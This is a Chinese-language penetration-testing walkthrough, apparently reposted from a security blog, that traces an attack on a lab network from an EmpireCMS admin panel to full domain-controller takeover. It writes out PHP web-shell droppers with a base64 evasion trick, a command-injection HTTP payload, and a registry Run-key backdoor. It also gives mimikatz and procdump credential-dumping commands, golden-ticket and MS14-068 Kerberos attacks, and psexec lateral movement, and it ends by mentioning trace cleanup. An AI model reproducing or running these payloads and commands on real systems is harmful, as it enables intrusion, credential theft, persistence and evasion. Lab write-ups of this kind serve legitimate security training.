渗透贯穿始终中篇
作者:admin | 时间:2021-2-8 23:04:49 | 分类:黑客技术 隐藏侧边栏展开侧边栏
测试过程
信息收集
嗅探 netdiscover
发现192.168.28.140,192.168.28.129
首先对192.168.28.140进行攻击-扫描
nmap -A 192.168.28.140
发现WEB界面,访问http://192.168.28.140
查看信息关于php的相关内容,是windows系统
通过whatweb发现属于CMS
目录遍历查看敏感目录
漏洞利用
访问后台系统,查看存在弱口令
http://192.168.28.140/e/admin/
暴力破解:进行爆破,找到账户密码
http://192.168.28.140/e/admin/admin.php?ehash_2BPgI=ekMH6J9KSW2Rhm5ArEAt
依次 -> [系统]-[系统设置]-[备份与恢复数据]-[备份数据]
抓包进行tablename参数都进行修改为phpinfo()
访问备份文件目录下的config.php,将readme.txt改为config.php
http://192.168.28.140/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php
代码审计
由于出现 了CMS可以从网上进行查找,是否有源码包进行审计,对代码进行审计
依据刚才的过程而言
(1) 在e/admin/ebak/phome.php文件中接受备份数据库传递的参数
(2) 接受参数后,传递到\upload\e\admin\ebak\class\functions.php文件中的EbakDOEbak函数中。EbakDOEbak函数接受参数后,将数据库表名传递给变量$tablename
(3) 系统对表名遍历将其赋值给b t a b l e 和 btable和btable和dtable。在d t a b l e 处 将 表 名 拼 接 为 字 符 串 。 对 拼 接 而 成 d_table处将表名拼接为字符串。对拼接而成dtable处将表名拼接为字符串。对拼接而成tb数组未对其中的键值名添加双引号
(4)在生成config.php文件的过程中,对于$d_table没有进行处理,直接拼接到生成文件的字符串中,导致任意代码执行漏洞
(5)config.php
/e/admin/ebak/bdata/empirecms_20201121173210WkHDU5/config.php
备份文件,生成新的文件由readme.txt为config.php
文件上传
在系统-管理数据表位置存在文件上传的地方
导入系统模型
生成一个1.php.mod文件
<?php file_put_contents("shell.php","<?php phpinfo(); ?>"); ?>
访问http://192.168.28.140/e/admin/shell.php
获得shell
上传木马root.php.mod
<?php file_put_contents("shell.php","<?php @eval($_POST['root']) ?>"); ?>
报错
进行编码绕过拦截
<?php
file_put_contents("root.php","<?php
$a=base64_decode("ZXZhbA==")
$a(\$_POST['a']);
?>");
?>
<?php file_put_contents("cao.php","<?php @eval(\$_POST[cmd]); ?>");?>
菜刀连接
或者冰蝎、中国蚁剑、Weevely等等
打开虚拟终端,执行命令发现是有域环境的
远程控制
上传远程控制木马或者上传mimikaz
开启CS神器
使用CS进行文件管理
破解密码-mimikaz
报错
修改注册表
beacon> shell reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
上传ProcDump
菜刀上传mimikatz
查看当前win7用户信息
修改账户密码
进行远程登录
查看3389端口
beacon> shell REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
开启3389
beacon> shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
远程登录
win7持久后门之注册表
shell reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "calm" /t REG_SZ /d "C:\Users\calmness\calmnexx.exe" /f
或者
getshell
通过访问目标地址,进行抓包。
对phpinfo进行漏洞攻击,发现xmlrpc
进行分析
构造payload
注: Accept-Encoding要把gzip, deflate 里逗号后面的空格去掉,不然命令执行不成功
Accept-Charset 的值就是执行的命令, 需要进行base64编码
GET / HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Connection: close accept-charset: ZWNobyBzeXN0ZW0oIm5ldCB1c2VyIik7 Accept-Encoding: gzip,deflate Upgrade-Insecure-Requests: 1
漫游内网
内网信息收集
远程win7使用nbtscan扫描内网存活IP
ping批量测试ip
@echo off setlocal ENABLEDELAYEDEXPANSION @FOR /F "usebackq eol=- skip=1 delims=\" %%j IN (`net view ^| find "命令成功完成" /v ^|find "The command completed successfully." /v`) DO ( @FOR /F "usebackq delims=" %%i IN (`@ping -n 1 -4 %%j ^| findstr "Pinging"`) DO ( @FOR /F "usebackq tokens=2 delims=[]" %%k IN (`echo %%i`) DO (echo %%k %%j) ) )
获取当前计算机名称
查看所有域
win7ping win2012
横向移动
查看win2008系统【192.168.1.18】
查看域控win2012【192.168.1.21】
隧道应用
搭建隧道连接域控环境
EarthWorm,(简称EW)是一套轻量便携且功能强大的网络穿透工具,基于标准C开发;具有socks5代理、端口转发和端口映射三大功能;支持跨平台
利用攻击机器kali[192.168.28.130]穿透win2008,远程控制win2008
metasploit之历史漏洞利用
发现有密码-查询历史漏洞进行攻击-MSF:windows/rdp/cve_2019_0708_bluekeep_rce
meterpreter> upload /mimikatz.rar
meterpreter> shell
C:\windows\system32>chcp 65001 【注:解决乱码问题】
C:\windows\system32>dir 【注:查找mimikatz.rar】
C:\windows\system32>unrar e mimikatz.rar
C:\windows\system32>mimikatz.exe
上传mimikatz
破解win2008登录密码
privilege::debug sekurlsa::logonpasswords
NTLM哈希
远程登录
root@kali:~# rdesktop 192.168.28.130:1080
账户密码 Administrator:root@123456
查询域内信息
获得域控
伪造黄金票据
第一步:在域控内
导出krbtgt用户的hash
和sid
(使用mimikatz.exe工具):
lsadump::dcsync /domain:test.com /user:krbtgt domian:后面是域控名 user后面是krbtgt用户
或者
可以利用procdump把lsass进程的内存文件导出本地,再在本地利用mimikatz读取密码
procdump64.exe -accepteula -ma lsass.exe lsass.dmp 导出为lsass.dump文件
获取域控信息
net group "domain controllers" /domain
第二步:.清除自己Client端(域内其他机器)的票据
在mimikatz.exe执行kerberos::list
查看我们当前的票据
kerberos::purge
清空当前用户登录的票据
第三步:伪造TGT票据(黄金票据)
kerberos::golden的意思是使用票据功能,/admin 后面的用户是我们可以伪造的任意用户,我这里用calmness,/sid后面输入的就是我们之前抓到的sid,/krbtgt后面是之前抓到的hash, /ptt是立即执行到内存的意思。ps:一共有5个空格,这里需要注意下。
构造好了语句后,在Client端上执行,提示Successfully表示已经成功了。
kerberos::golden /admin:calmness /domain:test.com /sid:S-1-5-21-35384602030-1486526769-2284368966-502 /krbtgt:0e3982c434ed02ff33fb2f0698e3b30e /ptt
使用cmd下 klist命令查看,说明已经成功在Client端伪造了黄金票据
第五步:在Client端通过psexec.exe工具进行连接主控域;连接成功了以后,是直接返回一个cmd的交互式界面,并且是最高权限
另一种方法:MS14-068提权
通过dir访问域控共享文件夹,拒绝访问
获取用户sid:whoami /user
展示参数
执行下列命令,会在当前目录生成一个ccache文件
MS14-068.exe -u administrator@test.com -p root@123456 -s S-1-5-21-3083997108-67568443-464007278-500 -d DC.test.com
删除当前域机器的票证:klist purge
使用mimikatz将ccache文件导入,提升为域控权限
kerberos::ptc TGT_administrator@test.com.ccache
成功dir域控服务器C盘
使用psexec.exe获取一个交互式shell
PsExec.exe \\DC.test.com cmd
获取域控的ip地址
其他方法1:kekeo.exe
(https://github.com/gentilkiwi/kekeo/releases)
通过kekeo.exe获取域控权限,此工具并非每次都能成功利用。【注入内存中】
kekeo.exe “exploit::ms14068 /domain:test.com /user:administrator /password:root@123456 /ptt” “exit”
其他方法2:goldenPac.exe
(https://github.com/maaaaz/impacket-examples-windows)
此工具是impacket工具包里的,它是MS14-068+psexec的组合;
goldenPac.exe test.com/administrator:root@123456@DC.test.com
之后进行痕迹清理
本文作者:calmness
本文为安全脉搏专栏作者发布,转自:https://www.secpulse.com/archives/152087.html